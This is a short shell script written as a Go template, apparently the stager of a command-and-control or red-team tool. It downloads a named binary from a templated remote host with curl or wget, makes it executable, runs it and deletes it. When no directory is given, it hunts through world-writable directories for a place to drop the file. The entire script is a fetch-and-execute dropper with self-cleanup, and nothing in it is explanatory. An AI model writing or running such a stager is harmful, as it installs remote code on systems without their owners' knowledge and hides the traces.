#!/bin/sh
export PATH="$PATH:/usr/local/sbin:/usr/local/bin:/usr/bin:/bin:/sbin"



download () {

    if command -v curl &> /dev/null; then
        curl {{.Protocol}}://{{.Host}}:{{.Port}}/{{.Name}} -o "$1/{{.Name}}"
    elif command -v  wget &> /dev/null; then
        wget -O "$1/{{.Name}}" {{.Protocol}}://{{.Host}}:{{.Port}}/{{.Name}}
    fi

    chmod +x "$1/{{.Name}}"
}

{{if .WorkingDirectory}}

download "{{.WorkingDirectory}}"

"{{.WorkingDirectory}}/{{.Name}}"

rm "{{.WorkingDirectory}}/{{.Name}}"

{{else}}

for i in "~" "." $(find / -maxdepth 3 -type d \( -perm -o+w \)); do

    if ! touch $i/{{.Name}}; then 
        continue
    fi

    download "$i"

    if ! "$i/{{.Name}}"; then 
        continue
    fi

    rm "$i/{{.Name}}"

    break
done

{{end}}

